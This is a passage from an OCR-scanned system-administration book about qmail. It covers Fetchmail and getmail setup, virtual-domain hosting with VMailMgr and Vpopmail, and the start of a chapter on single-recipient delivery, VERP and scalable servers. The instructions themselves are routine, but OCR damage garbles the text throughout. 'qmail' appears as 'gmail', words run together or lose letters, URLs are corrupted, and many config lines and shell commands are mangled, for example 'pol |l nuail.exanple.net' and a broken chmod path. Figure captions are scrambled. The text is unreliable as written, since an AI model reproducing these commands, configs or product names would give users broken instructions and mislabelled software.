"pull" mail from aserver for locd reddivery. Two utilities, Fetchmail and getmail, are commonly used on gmall
sysems.

Using Fetchmail

Fetchmail isaprogram that retrieves mail from a POP or IMAP server and reinjectsit locally. More information
about Fetchmail is available on the Web (http:/Mmww.tuxedo.org/~esr/fetchmail/). Fetchmail has no trouble retrieving
mail from gmail servers, but there are acouple tricks for making it work well on agmail client.

Fetchmail is configured viathe .feichmailrc filein auser's home directory. Each sanzain the .fetichmailrc filetdls
fetchmail how to retrieve mail from aremote mailbox and reinject it for loca ddlivery.

Herésasample .fetchmailrc for auser on agmail system:

pol |l nuail.exanple.net proto pop3 nodns
user dsill with password flubgart is dave here
fetchall forcecr

Thefirg lineingructs fetchmail to connect to mail.example.net via POP3. The nodnstdlsfetchmail not to perform a
DNS lookup on the envel ope sender domain of messages retrieved from this server. The second linetellsit tologin
asuser dsll with password flubgart and that the local recipient of the messagesisuser dave. Thethird linetdlsit to
retrieve dl of the messages (fetchall) and to force dl linesto be terminated by carriage returnv/linefeed, as SMTP
requires (forcecr). The forcecr option is required with gmail when fetchmail is configured to reinject messagesvia
SMTP, which isthe defauilt.

Fetchmail can aso be configured to reinject messages using gmail-inject. For example:

pol | nail.exanple.net proto pop3 nodns
user dsill with password flubgart is dave here
fetchall nda "/var/qgnail/bin/gmail-inject dave"

Here, the mdakeyword is used to tell fetchmail how to invoke aloca Message Delivery Agent (MDA); in this case,
the command used is /var/gmail/bin/gmail-inject dave.

Using Fetchmail with Domain M ailboxes


http://www.tuxedo.org/~esr/fetchmail/
http://www.tuxedo.org/~esr/fetchmail/

Fetchmail includes support for gmail virtud domains. A mailbox on agmail system can accumulate mail for an entire
virtual domain, and fetchmail on another gmail system can retrieve that mailbox and automaticaly reddiver the
messages to multiple local addresses.

For example, say virtud.example.comisavirtua domain hosted by an Internet service provider (1SP),
igp.example.net, and the virtua domain is managed by user mjsill. The virtuadomains entry on isp.example.net would
look something likethis:

virtual . exanple.comnjsill-virtua

User mjsill creates a.gmail-virtual-default file that causes dl mail to the virtua domain to be delivered to her POP
mailbox.

On her locd gmail system, user maryjane creates a .fetchmailrc file containing this.

pol |l isp.exanpl e.comproto pop3 nodns
gvirtual "njsill-virtual-"
user njsill with password gartflub
fetchall forcecr
to * here

The gvirtua keyword specifiesavirtua domain prefix to be stripped from thelocd part of addressin thefirst
Ddlivered-To header field, which becomes the recipient on the loca system. So if amessage was origindly sent to <
info@uvirtud .example.com>, it would have a Ddlivered-To header field of this.

Delivered-To: njsill-virtual-info@irtual.exanple.com

Fetchmail, on receiving the message, would take the local part of the address, mjsill-virtud-info, remove the prefix
specified with the gvirtual keyword, mjsill-virtua-, and reinject the message to info@localhost.

Using getmail

getmail isaprogram that retrieves mail from a POP server and deliversit to amaildir mailbox, mbox mailbox, or a
command. It'swritten in the Python language, so you may need to ingtal the Python interpreter before you can use

getal.

getmail was created by Charles Cazabon, who maintains a\Web page for it (
http://Mmww.qcc.sk.cal~charlest/software/getmail-2.0/getmail.html ).

I nstalling getmail


mailto:info@virtual.example.com
http://www.qcc.sk.ca/~charlesc/software/getmail-2.0/getmail.html
http://www.qcc.sk.ca/~charlesc/software/getmail-2.0/getmail.html

If you've got Python version 1.5.2 or later, you should be ableto ingtall getmail. If you don't have Python, it's
available from the Web (http://Amww.python/org/). To ingdl it, follow these steps:

1.

Download the getmall tarbdl using your Web browser or acommandline utility. At the time of thiswriting, the
current verson is 2.1.3. For example, using the wget utility, do this:

$ wget http://ww. qcc. sk. ca/ ~charl esc/ software/getnmail-2.0/getmail-2.1.3.tar.gz
--11:25:57-- http://ww. qcc. sk. cal/ %@ Echarl esc/ software/getmail-2.0/getmail-2.1.3
.tar.gz
=> 'getnmail-2.1.3.tar.gz'
Connecting to ww. gcc. sk.ca: 80. . . connected!
HTTP request sent, awaiting response. . . 200 K
Lengt h: 39, 447 [application/x-gunzip]

OK = > e [ 100%

11:26:13 (2.71 KB/s) - '"getmail-2.1.3.tar.gz' saved [39447/39447]

Unpack the tarball:

$ gunzip getmail-2.1.3.tar.gz
$ tar xf getmail-2.1.3.tar
$

Copy the getmall filesto their installed locations. Well copy everything to /usr/local/lib/getmail and ingdl the
getmail program in adirectory in user's executable paths, such as/usr/loca/bin:

$ su root
Password: root password
nmkdir /usr/local/lib/getmai
cp -a getmail-2.1.3/* /usr/local/lib/getmai
cp -a getmail-2.1.3/getmail /usr/local/bin
chnmod 755 /usr/ | ocal / bi n/ get mai
exit

& H H HHH

Configuring getmail

getmail is configured via$HOME/ .getmail/getmailrc. The format of the getmailrcissmilar to that used in many
Windows configuration files, with sections labeled in square brackets ([]) and settingsin this format:

vari abl e = val ue


http://www.python/org/
http://www.python/org/
http://www.qcc.sk.ca/~charlesc/software/getmail-2.0/getmail-2.1.3.tar.gz
http://www.qcc.sk.ca/%7Echarlesc/software/getmail-2.0/getmail-2.1.3

The [default] section contains settings that act as defaults for the remaining sections. Each named section tells getmall
how to retrieve one remote POP3 mailbox. For example, asmple getmailrc might look likethis:

[defaul t]

verbose = 1
readall =0
delete = 1

[ Exanpl €]

server = dol phin. exanpl e. com
user name=j hei skel

passwor d=Judyb4t s

postrmaster = ~/ Maildir/

The[default] section tells getmail to be verbose, read all messages, and ddlete them from the POP3 mailbox after
delivering themlocdlly.

The [Example] section tells getmail to log into dol phin.example.com as user jheiskell with the password Judyb4ts and
to deliver the messages retrieved to SHOME/Maildir/, which isamaildir mailbox because it endswith adash (/).

Running getmail

With $HOME/.getmail/getmailrc in place, run getmail to retrieve your messages. For example:

$ get i |

getmail v.2.1.3 - POP3 nail retriever with reliable Miildir and nbox delivery.
(Conf Parser version 2.0) (tinmeoutsocket version 1.12)

Copyright (C 2001 Charles Cazabon <getnmail @ discworld.dyndns. org>
Li censed under the GNU General Public License version 2. See the file
COPYI NG for details.

dol phi n. exanpl e.com POP3 session initiated on port 110 for "jheiskell"
dol phi n. exanmpl e.com POP3 greeting: +OK <25418.997637290@lol phi n. exanpl e. con®
dol phi n. exanpl e.com POP3 user response: +K
dol phi n. exanpl e.com POP3 PASS response: +K
dol phi n. exanpl e.com POP3 |list response: +K
nsg #1 : len 1885 . . . retrieved . . . delivered to postmaster ... deleted
dol phi n. exanpl e.com finished retrieving nessages
dol phi n. exanpl e.com POP3 session conpleted for "jheiskell"
dol phi n. exanpl e.com retrieved 1 nessages for 1 local recipients
$

Using getmail with Domain Mailboxes

Like Fetchmail, getmail includes support for virtua domains. A mailbox on a POP server can accumulate mail for an
entirevirtua domain, and getmail can retrieve that mail and automatically redeliver the messagesto multipleloca
addresses.



Using the same example we used for Fetchmail, say virtual .example.comisavirtual domain hosted by an ISP,
igo.example.net, and the virtual domain is managed by user mjsill.

On her loca gmall system, user maryjane cregtes agetmailrc file containing this:

server = dol phi n. exanpl e. com

user name=nj si | |

passwor d=gartfl ub

postmaster = ~/ Maildir/

| ocal sal es@i rtual . exanpl e. com ~/virtual /jason/ Mail dir/
| ocal ceo@irtual . exanpl e.com~/virtual /lynette/ Maildir/

Thetwo local settingswill cause getmail to deliver mail addressed to the associated addressesto the local virtua
mailbox of the intended recipient.

Note
getmail must be ableto writeto the
mailboxesto which it ddivers. If these
mailboxes belong to different Unix user
IDs (UIDs), you'l have to make them
writable by the group under which
getmail runs.
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Conclusion

In this chapter you learned how to serve mailboxes using POP3 and IMAP. Y ou learned how to ingtall and configure
gmail-pop3d, Qpopper, SolidPOP, UW-IMAP, and Courier-IMAP. Y ou aso learned how to secure your POP3
and IMAP servicesusing STARTTLS and SSL wrappers for encryption and APOP and CRAM-MD5 for
authentication. Findly, you learned how to retrieve mail from POP3 and IMAP servers using Fetchmail and getmail.

In Chapter 11, "Hosting Virtud Domainsand Users,”" you'l learn how to hogt virtual domains and users using two
popular add-ons: VMailMgr and V popmail.
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Chapter 11: Hosting Virtual
Domain and Users

Highlights

Theterm virtua gppearsin many areas of computer science and information technology. Generdly, it refersto
something that looksredl, but isn't. In an operating system with virtual memory, for example, the available memory
appears to be unconstrained by the amount of red, physica memory ingtaled in the system. The operating system
USes swap space memory on larger, dower disk drives to supplement the high-speed random-access memory
(RAM). The mapping of virtua memory to RAM and swap space is transparent to jobs running under the operating
sysem.

With e-mail systems, virtud domains and virtua users aso appear to be something they aren't. A virtual domain looks
exactly likeareal domain with adedicated mail server. Given an address such asinfo@example.com, you cannot tell
whether it'sred or virtua Smply by examining the address. Example.com could be running its own dedicated mail
server, or it could be avirtual domain hosted by a service provider.

So what's the big dedl about virtua domains?

Without virtua domains, you have two choices: Y ou can set up adedicated server for each domain you host, or you
can host the domains as diases of the loca domain. Thefirst option is often prohibitively expensive because of the
hardware and labor required. The second option is usually unacceptable because it requires sharing one namespace
among dl of the co-resident domains. For example, if example.com usesinfo@example.com, then no other domain
hosted by the same system would be able to have an info address. Another problem is misdirected mail. Say
example.com and fly.example.net are hosted on the same system. Further, one of the fly.example.net usersisdavid,
and one of the example.com usersisdave. If somebody intending to send mail to david@fly.example.net
misremembers his address as dave@fly.example.net, the message will be delivered to the wrong person instead of
being returned as unddliverable.

With virtual domains, each co-resident domain can have its own, private namespace, without any danger of collision
with another domain's addresses.

OK, so what'savirtua user? Theterm virtual user hastwo different usages, one specific to gmail and one
goplicableto eemail systemsin generd. Ingmail, avirtud user issmply avirtuad domain with only one address. In
generd, avirtud user isamail user without ared system account.



gmail includes native support for gmail-style virtuad usersand virtua domains through the virtualdomains contral file
(see Chapter 3, "Configuring gmail: The Basics'). Severd add-on utilities provide enhanced support for virtua
domains, dlowing virtua domain managers to manage their domains viaWeb interfaces, and provide support for the
more generd style of virtud user, wheredl of avirtua domain's users can be hosted using asingle Unix user ID
(UID). The most popular and powerful of these add-onsare VMailMgr and Vpopmail.
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Overview

This chapter covers add-on virtua domain management packages for gmail:

Firgt, well compare Virtua Mall Manager (VMailMgr) and Vpopmail and talk about how to decide which of
these packagesto use.

Next, well look at VMailMgr: what it does, how to ingtall it, and how to useit.

Findly, well cover Vpopmail: what it does, how to ingdl it, and how to useit.

< Free Open Study >




< Free Open Study >

Choosing between VM ailMgr and Vpopmail

Both VMailMgr and Vpopmail help manage virtua domainswith virtua users. Both rely on gmail's virtua domain
support and work by adding:

A checkpassword replacement for POP3 authentication
Utilitiesfor adding virtua domainsand users

A Mail Ddivery Agent (MDA) for ddlivery to virtud users mailboxes

Both work with Courier-IMAP and gmail-pop3d. Both have Web interfaces available to alow domain managersto
add and remove users.

The functiona differences are minor. The most Sgnificant differenceisthat VMallMgr uses a separate Unix account
for each virtual domain manager, and Vpopmail usesasingle Unix account for dl virtud domainsand users. If you
were hogting a huge number of virtua domains thousands or more this might be an important distinction. For more
typicd ingalations, though, the extra security afforded by using multiple Unix accounts probably worksin
VMalMgr'sfavor.

So how does one decide which to use?

First, make adetalled list of the features you must have. Both packages have dl the basic features, so differences are
more likely to appear with advanced features such as support for Lightweight Directory Access Protocol (LDAP),
Structured Query Language (SQL), Authenticated Post Office Protocol (APOP), or quotas. Be sure to check thelist
archives of the respective packages for user-contributed add-ons before disqualifying a package.

If feature requirements don't eliminate one of the contenders, the next step isto try them both. They're both easy to
ingal and configure, and if a picture isworth athousand words, actualy trying the prospective softwareisworth a
thousand feature comparisons. Feature checklists are necessary, but features done won't guarantee you'll like the
way aparticular package works.
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Using VMailMgr

Bruce Guenter crested VMailMgr. It includes aset of utilities for managing virtua domainswith virtua users. The
coreutilitiesare;

checkvpw, an authentication module for gmail-pop3d

authvmailmgr, an authentication module for Courier-IMAP
vddiver, an MDA that ddivers mail to mailboxes belonging to virtua users
vsetup, autility for setting up anew virtua domain

vadduser, autility for adding anew virtua user to avirtua domain

Moreinformation about VMailMgr is available on the Web ( http:/mww.vmallmgr.org/).

Installing VM ailM gr

gmail must be ingtalled before VMailMgr can be set up:
1.

Download the source tarball. At the time of thiswriting, version 0.96.9 isthe current release. Use your
favorite Web browser or thewget utility, if it'sinstalled on your system:

$ wget http://ww vmail ngr.org/current/vmail ngr-0.96.9.tar. gz
07:51: 05 http://www. vmai | ngr.org/current/vnail ngr-0.96.9.tar. gz
=> “vnmil ngr-0.96.9.tar. gz
Connecting to www. viai | ngr.org: 80. . . connected!
HTTP request sent, awaiting response. . . 200 K
Length: 362,379 [application/x-gzip]


http://www.vmailmgr.org/
http://www.vmailmgr.org/
http://www.vmailmgr.org/current/vmailmgr-0.96.9.tar.gz
http://www.vmailmgr.org/current/vmailmgr-0.96.9.tar.gz

I50K = >0 o oo [ 56%

200K = >0 ot [ 70%
250K = >0 e e [ 84%
300K = >0 et [ 98%
350K = > et e [ 100%

07:53:02 (3.06 KB/s) - “vmailngr-0.96.9.tar.gz' saved [362379/362379]

$

Extract the source:

$ zcat vmailnmgr-0.96.9.tar.gz | tar xf -

Configurethe build:

$ cd vmail ngr-0.96.9
$ ./configure
creating cache ./config.cache
checking for a BSD conpatible install. . . /usr/bin/install -c
checki ng whether build environnment is sane. . . yes
...lots of output ending with sonmething |ike:
creating php/ Makefile
creating python/ Makefile
creating config.h
$

Makethe binaries;

$ nmake
make all -recursive
nmake[ 1]: Entering directory “/usr/local/src/vmailnmgr-0.96.9'
Making all in python
...lots of output ending with sonmething |ike:
make[2]: Entering directory “/usr/local/src/vmailmgr-0.96.9'
make[ 2] : Leaving directory “/usr/local/src/vmailngr-0.96.9
make[ 1] : Leaving directory “/usr/local/src/vmail ngr-0.96.9
$

Note
On some systems, make falswith
erorsabout "strlen,” "strepy,” or "_exit"
being declared. If this happens, add
thesetwo lines: #include <string.h>
and #include <stdlib.h> to the top of
config.h and lib/mystring/append.cc,
and re-run the make command.



Ingdl the binaries:

$ su root
Password: root password
# make install
Making install in python
make[ 1] : Entering directory “/usr/local/src/vmail ngr-0.96. 9/ pyt hon'
make[ 2] : Entering directory “/usr/local/src/vmail ngr-0.96. 9/ pyt hon'
...lots of output ending with sonething like:
make[ 2] : Nothing to be done for “install-data-ani.
make[ 2]: Leaving directory “/usr/local/src/vnail mgr-0.96.9'
make[ 1]: Leaving directory “/usr/local/src/vnail mgr-0.96.9'
#

Configuring VMailM gr

VMailMgr isnow ingaled. Now add avirtuad domain; in thisexample you'll use virtud.example.com.

Note
A Doman Name System (DNS)
record preferably amail exchanger
(MX) record must be set up to direct
mail for thevirtua domainto the sysem
hogting the virtud domain. The details
are beyond the scope of this book and
are highly dependent upon the DNS
softwarein use.

Creste a user account for the manager of the domain, if it doesn't dready exist. All of the mailboxesfor the
domain will be stored under this user's home directory, so be sureit's large enough to accommodate the
expected volume of mail. For thisexample, the manager will bejosh:

$ su root
Password: rootpassword
# useradd josh
#

Configure the domain asagmail virtud domain. To do this, you need to modify two of gmail's configuration
filesin /var/gmail/control: repthosts and virtualdomains. To rephosts, add thisline:

vi rtual . exanpl e. com

Tovirtuddomains, add thisline:



vi rtual . exanmpl e. com j osh
3.

Configure your gmail-pop3d service to use checkvpw as the checkpassword utility. For example, if your
gmail-pop3d serviceis Sarted in /service/gmail-pop3d/run, you would change the line from something like
this

exec /usr/local/bin/softlint -m 2000000 \
/usr/local/bin/tcpserver -v -R-H -1 0 -x /etc/tcp.pop3.cdb -c "$MAXPOP3D" \
0 110 /var/gmail/bin/ gmail -popup FCQDN /bin/checkpassword \
[var/qmail/bin/gmail-pop3d Mildir 2>&1

tothis

exec /usr/local/bin/softlimt -m 2000000 \
/usr/local/bin/tcpserver -v -R-H-1 0 -x /etc/tcp.pop3.cdb -c "$MAXPOP3D"' \
0 110 /var/gmail/bin/ gmail -popup FQDN /usr /I ocal /bi n/ checkvpw
[var/ qmail/bin/gmail-pop3d Maildir 2>&1

Restart the gmail-pop3d service to incorporate the change:

# svc -t /service/qgnail-pop3d
#

Configurethe VMalMgr filesfor the domain:

# su - josh
$ /usr/local/bin/vsetup
vsetup: created users directory.
vsetup: wote '.gmail-default' file.
vsetup: added alias 'mailer-daenon'
vsetup: added alias 'postmaster’
vsetup: added alias 'root
$

Add avirtud use:

$ /usr/local/bin/vadduser zack
Enter the user's new password: somepassword
Pl ease type it again for verification: somepassword
vadduser: user 'zack' successfully added

$

Send gmail-send aHUP signd to causeit to reread virtualdomains. If you have ingtalled the gmailctl script
from Chapter 2, "Indaling mail," you can dothis



# gmail ctl rel oad
Sendi ng HUP signal to gmail-send.
#

If your gmail isrun by svscan/supervise from the /service directory, you can run svc to send thesgnd:

# svc -h /service/qgnuil-send
#

Testing VMailMgr

Now that VMailMgr isingtalled and configured, you should test it to make sure it works and hasn't broken
non-virtud usersdomains.

1.

Authenticate asanon-virtua user viathe gmail-pop3d service:

# telnet 0 110
Trying 0.0.0.0.
Connected to O.
Escape character is '~]'.
+OK < 18025. 993992124 @ QDN\>
user soner eal user
+OK
pass sonepassword
+OK
quit
+OK
Connection closed by foreign host.
#

The +OK response to the pass command indicates successful authentication. If the response sartswith -ERR, the
authentication failed.
2.

Authenticate as avirtua user viathe gmail-pop3d service. Usethe virtua user'se-mail address asthe
username and supply the password you set in step 5 of " Configuring VMalMagr':

# telnet 0 110
Trying 0.0.0.0.
Connected to O.
Escape character is '"~]"'.
+0OK < 8366.993997352@xanpl e. con>
user zack@irtual.exanpl e.com
+CK
pass sonepassword
+CK



quit

+OK

Connection closed by foreign host.
#

If thistest fails, double-check the username and password, step 3 of " Configuring VMailMgr," and dl of the
ingalation steps.

3.
Test the virtua user with a Post Office Protocol (POP) 3 Mail User Agent (MUA).

Note
Some MUAs truncate the username at
theat-sign (@). Asa
workaround,VMailMgr aso recognizes
usernames as user :domain. For
example zack: virtual .example.com.
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Using Vpopmail

Vpopmail isanother popular virtua domain add-on package for gmail. Like VMailMgr, it includes a st of utilitiesfor
managing virtua domainswith virtud users. The core utilitiesare:

vchkpw, an authentication module for gmail-pop3d

vddivermail, aMessage Delivery Agent (MDA) that delivers mail to mail-boxes belonging to virtua users
vadddomain, autility for setting up anew virtuad domain

vadduser, autility for adding anew virtua user to avirtua domain

Moreinformation about V popmail isavailable on the Web (http:/mww.inter7.com/vpopmail/).

I nstalling Vpopmail

gmail must beingtdled before Vpopmail can be set up:
1

Create the vpopmail user and vchkpw group. Use UID and group ID (GID) 89 if they're not aready in use.
For example:

$ su root
Password: root password
# groupadd -g 89 vchkpw
# useradd -g vchkpw -u 89 vpopnmi l
#

Create a Simple Mail Transfer Protocol (SMTP) access control file under the home directory of vpopmail:

# nkdir ~vpopmail/etc
# echo 127.0.0.:all ow, RELAYCLI ENT=\"\" > ~vpopmail/etc/tcp.sntp
#


http://www.inter7.com/vpopmail/
http://www.inter7.com/vpopmail/

Download the source tarball. At the time of thiswriting, the current stable release is4.9.10. Use your favorite
Web browser or thewget utility, if it'singtalled on your system:

# exit
$ cd /usr/local/src
$ wget http://ww inter7.confvpopnrail/vpoprail-4.9.10.tar. gz
10: 36: 19 http://ww.inter7.com vpopnail/vpopnail-4.9.10.tar.gz
=> “vpopnail-4.9.10.tar. gz’
Connecting to ww. inter7.com80. . . connected!
HTTP request sent, awaiting response. . . 200 K
Length: 175,545 [application/x-tar]

OK = > ettt [ 29%
BOK = > ot oo e s [ 58%
LOOK = >0 e e [ 87%
LB0K = >0 oot e [ 100%

10: 37:30 (2.48 KB/s) - “vpopnail-4.9.10.tar.gz' saved [ 175545/ 175545]

$

Unpack the source tarball:

$ zcat vpopnmil-4.9.10.tar.gz |tar xf -

Configurethe build:

$ cd vpopmail-4.9.10
$ su
Password: rootpassword
# ./configure enabl e-roam ng-users=y
creating cache ./config.cache

checking for a BSD conpatible install... /usr/bin/install -c
checki ng whet her build environment is sane... yes
...lots of output ending with sonmething |ike:
auth | ogging = OFF
pop syslog = show only failure attenpts
default domain =
# exit

$

The enable-roaming-users=y option dlowsvirtua usersto relay after authenticating viathe POP3 server. If you
don't want thisfesture, leave off this option.
6.

Makethe binaries;


http://www.inter7.com/vpopmail/vpopmail-4.9.10.tar.gz
http://www.inter7.com/vpopmail/vpopmail-4.9.10.tar.gz

$ neke
make al |l -recursive
make[ 1]: Entering directory “/usr/local/src/vpopnail-4.9.10
Making all in cdb
...lots of output ending with sonething like:
gcc -g -2 -wall -0 vipnmap vipnap.o |libvpopmail.a -Insl -lcrypt
make[ 2] : Leaving directory “/usr/local/src/vpopmail-4.9. 10
make[ 1]: Leaving directory “/usr/local/src/vpopmail-4.9. 10
$

Ingdl the binaries.

$ su root
Password: rootpassword
# make install-strip
make AM | NSTALL_PROGRAM FLAGS=-s i nst al
make[ 1]: Entering directory “/usr/local/src/vpopnail-4.9.10
Maki ng install in cdb
...lots of output ending with sonething like:
make[ 3]: Leaving directory “/usr/local/src/vpopmail-4.9. 10
make[ 2] : Leaving directory “/usr/local/src/vpopmail-4.9. 10
make[ 1]: Leaving directory “/usr/local/src/vpopmail-4.9. 10
#

Add crontab entry for roaming user support:

# crontab -e
add a line like the follow ng:
40 * * * * [hone/ vpopnail/bi n/cl earopensntp 2>&1 /dev/ nul

where /home/vpopmail isthe home directory of the vpopmail user. See/etc/passwd if you're not sure wherethisis.
Configuring Vpopmail

Vpopmail isnow ingtaled. Now add avirtuad domain; in thisexample you'l use virtuad.example.com.

Note
A DNS record preferably an MX
record must be set up to direct mail for
the virtud domain to the sysem hosting
thevirtua domain. Thedetallsare
beyond the scope of thisbook and are
highly dependent upon the DNS
softwarein use.



Createthe virtua domain:

# cd / home/ vpopnai | / bin
# ./vadddomai n virtual . exanpl e. com
Pl ease enter password for postnmaster: sonepassword
enter password again: sonepassword
#

Thisupdatesthefollowing control files:

/var/gmail/control /| ocal s

/var/gmail/control/rcpthosts

/var/gmail/control/norercpthosts (if rcpthosts is over 50 |ines)
/var/gmail / control/virtual domai ns

/var/ gmail / user s/ assign

[ var/ gmai | / users/cdb

It dso sets up variousfiles and directories under /homelvpopmail/domaing/virtud .example.com, including:

post nast er hone directory of postnaster@irtual.exanple.com
vpasswd human-r eadabl e password file for virtual.exanple.com
vpasswd. cdb machi ne-readabl e versi on of the password database

2.

Add avirtud use:

# cd / hone/ vpopmai | / bin
# ./vadduser zack@irtual.exanple.com
Pl ease enter password for zack@irtual.exanple.com sonepassword
enter password agai n: sonepassword
#

Configure your gmail-pop3d service to use vchkpw as the checkpassword utility. For example, if your
gmail-pop3d serviceis Sarted in /service/gmail-pop3d/run, you would change the line from something like
this

exec /usr/local/bin/softlint -m 2000000 \
/usr/local/bin/tcpserver -v -R-H -1 0 -x /etc/tcp.pop3.cdb -c "$MAXPOP3D' \
0 110 /var/gmail/bin/ gmail -popup FCQDN /bin/checkpassword \
[var/qmail/bin/gmail -pop3d Mildir 2>&1

tothis

exec /usr/local/bin/softlimt -m 2000000 \
/usr/local/bin/tcpserver -v -R-H -1 0 -x /etc/tcp.pop3.cdb -c "$MAXPOP3D' \
0 110 /var/gmail/bin/ gmail - popup FQDN /hone/ vpopnai | / bi n/ vehkpw \
[var/qmail/bin/gmail-pop3d Mildir 2>&1



Restart the gmail-pop3d service to incorporate the change:

# svc -t /service/qgmail-pop3d
#

Testing Vpopmail

Now that Vpopmail isingtalled and configured, you should test it to make sure that it works and hasn't broken
non-virtud usersdomains:

1.

Authenticate as anon-virtua user viathe gmail-pop3d service:

# telnet 0 110
Trying 0.0.0.0...
Connected to O.
Escape character is '"]'.
+0K < 18025. 993992124 @QDN>
user sonereal user
+OK
pass sonepassword
+OK
quit
+OK
Connection closed by foreign host.
#

The +OK response to the pass command indicates successful authentication. If the response sartswith -ERR, the
authentication failed.
2.

Authenticate as avirtua user viathe gmail-pop3d service. Usethe virtua user'se-mail address asthe
username (substituting a % for the @) and supply the password you set in step 2 of " Configuring Vpopmal ™

# telnet 0 110
Trying 0.0.0.0...
Connected to O.
Escape character is '"]'.
+OK < 1745.993992523@xanpl e. conr
user zack%i rtual . exanpl e. com
+K
pass sonepassword
+K
quit
+K
Connection closed by foreign host.
#



If thistest fails, double-check the username and password, step 3 of " Configuring Vpopmall," and dl of the
ingalation steps.

3.

Test the virtua user with aPOP3 MUA.
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Conclusion

In this chapter you learned about virtual domains and users. Y ou learned how to ingtall, configure, and use two
popular virtua domain management add-on packages. VMailMgr and Vpopmail. Also, afew tips helped you decide
which of these packagesto use.

In Chapter 12, "Understanding Advanced Topics" you'l explore topics such as multirecipient vs. Sngle recipient
ddivery, Variable Envelope Return Paths (VERP), scaable gmail configurations, using the Lightweight Directory
Access Protocol (LDAP) and Structured Query Language (SQL) with gmail, and virus scanning.
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Chapter 12: Understanding
Advanced Topics

This chapter dealswith advanced topics. These are subjects that some administrators will never have to ded with but
that are criticd for others.

Overview

This chapter coversthe following advanced topics:

Firgt, well cover multiple-recipient delivery versus single-recipient delivery and why gmail dways does
sngle-recipient ddivery.

Next, well talk about Variable Envelope Return Paths (V ERPs) and how they're used for reliable bounce
detection.

Then, well show how to configure gmail for large, scalable servers.
Next, welll cover the Lightweight Directory Access Protocol (LDAP) and how it can be used with gmail.
Then, wéelll talk about Structured Query Language (SQL) and how it can be used with gmail.

Findly, well cover how to integrate virus scannersinto gmail.
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Single-Recipient Delivery vs. M ultiple-Recipient
Delivery

Simple Mail Transfer Protocol (SMTP) alows amessage to be sent to multiple recipientsin one sesson using
multiple RCPT (recipient) commands. For example, aMail Transfer Agent (MTA) charged with sending the same
message to three recipients on server.example.com has at least threewaysto do it:

Open an SMTP connection to server, send a copy of the message to thefirst user, send a copy to the
second user, send a copy to the third user, and then close the connection (see Figure 12-1).

| HELD client.example.con |

|MII. FRiMz crendericl lent cexample.cons ]

| RCPT Tlicrec lpienti@serves exanple, nets |

DATH
From: .

Ta: -
Sublect
Eody

| FATL FROMz<ipsdenis lleat exisple.cos l|

| RCPT TO:crecipienti@server.exasple. netx |

DATA
Frga:

To:
Subfect: _

bardy

|!'.ﬂ|l FROM: cienderiic | Lenl .eximple.cony ]

| RCPT Tiicrecipient 3fserver . enanple. néls |

DATA
From: _
fo:
Sublects

Figure 12-1: One SMTP connection, three messages

Start three processes, each of which opensan SMTP connection to server, sends a copy of the messageto
one of the users, and then closes the connection (see Figure 12-2).
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Figure 12-2: Three SMTP connections, one message each

Open an SMTP connection to server, send a copy of the message addressed to all three recipients, and
then close the connection (see Figure 12-3).

—

HELO client.example.com |

| MAIL FROM:<sendergclient.example.coms |

—

[ RCPT TO:<recipienti@server.example.nets

| RCPT TO:¢recipient2@server.example.nets

| RCPT TO:¢recipientigserver.example. nets

DATA

From: ..
To: o
Subject: _

body

QUIT

Figure 12-3: One SM TP connection, three recipients

The first method (one SM TP connection, three messages) is clearly inferior to the third (one SVITP connection, three
recipients). Even if the messageistiny, it'll take a least aslong as one message to three recipients. And if the message
islarge, it'll take alot longer and use more network bandwidth. The only advantage the first method has over the
third isthat because each copy is sent separately, it would be possible to use VERP (see the next section).

So scratch method one,

The second and third methods are alittle more interesting.

The third method only opens one connection to server and only sends one copy of the message. That makes for
efficient use of bandwidth.

The second method (three SM TP connections, one message each) uses multiple connections and sends multiple
copies of the message. This wastes bandwidth but allows the round-trip delaysinherent with SMTP to occur in
pardld, and it isusualy faster than the third method. It's dso smpler than the third method, sothe MTA can be
coded more directly. And findly, because recipients get their own copy of the message, it's possble for the MTA to
use VERRP (see the next section).

gmail always uses the second method (single RCPT). There are no patches available to implement the third method



(multiple RCPT), and doing so would require major work.

Although there are pathological cases whereit can be dower than multiple RCPT, the speed, smplicity, and ability to
use VERP afforded by sngle RCPT ddivery outweigh them.

Single RCPT ddivery does use more bandwidth than multiple RCPT ddivery, but the difference is often exaggerated.
Most messages have a couple recipients, and they're usudly on separate hosts, o multi-RCPT delivery is not
possible. Even on aligt server, where multi-RCPT ddivery could help, the potentia gains are small because SMTP
uses only afraction of the bandwidth over most links HyperText Transfer Protocol (HTTP) usudly getsthelion's
share.

For example, if 10 percent of your uplink bandwidth goesto SMTP, and your SM TP bandwidth could be reduced
by, say, 25 percent by using multi-RCPT delivery, that would only drop your SMITP bandwidth to 7.5 percent.
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Using Variable Envelope Return Paths

When amessage is undeliverable, the M TA that makesthat determination is supposed to return abounce message to
the envel ope return path. The bounce message should include the address of the recipient, the reason the messageis
undeliverable, and whether the problem istemporary or permanent. Some MTAs don't do this, though. They might
send the bounce to the address in the From header field, or the bounce might not identify the recipient.

For most user-to-user messages, these problems aren't too bad. One can usudly figure things out based on the timing
of the bounce or the content of the bounce. For mailing lists, the problem of bad bouncesis more serious.
Subscribers move, forwarding mail to their new addresses. And if anew address starts having delivery problems; it
can beimpossible to tell which subscriber's addressis bouncing if the bounce message only includes the new address.

gmail crestor Dan Berngtein devel oped an innovative solution to this problem: VERP. With VERP, each message
sent to each list subscriber can have a unique return path. This alows an automated bounce handler to identify the
problem subscriber easily and reliably even if the bounce message doesn't identify the bad address. All that's required
for VERP to work isfor the remote MTA to send the bounce message to the envel ope return path. Of course, if an
MTA sends bouncesto the addresses in From fields, VERP won't help. Luckily, that'srare.

For example, atypica non-VERPed mailing list has areturn address of the form listhame-owner@domain. For a
VERPed lig, the return address would look something like listname-owner-subscriber =sdomain @domain, where
the subscriber's address, subscriber=sdomain, is embedded between the owner- and the @, and the @ in the
subscriber's addressis replaced with an =. Using gmail's dot-gmail wild-carding, a bounce message processor can
be set up in the .gmail-listname-owner-default file.

The ezmim list manager uses VERP to automatically handle bounces. It even provides subscribers having temporary
delivery problemswith alist of the messages they missed so they can retrieve them from the archive.

gmail-inject supportstwo different kinds of VERP specified by QMAILINJECT options. per-message, using option
m, and per-recipient, using option r. Permessage VERP gives al recipients of a message the same return path, which
isidentified by atimestamp and process ID. Per-recipient VVERP gives each recipient of amessage aunique return

path that encodes the recipient address. See Chapter 4, "Using gmail,” for more information about using gmail-inject.
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Configuring Scalable Servers

gmail iscompact and efficient, and alarge, well-equipped server system can send and receive prodigious quantities
of mail and serveit via Post Office Protocol (POP3) or Internet Mail Access Protocol (IMAP) to its owners. But
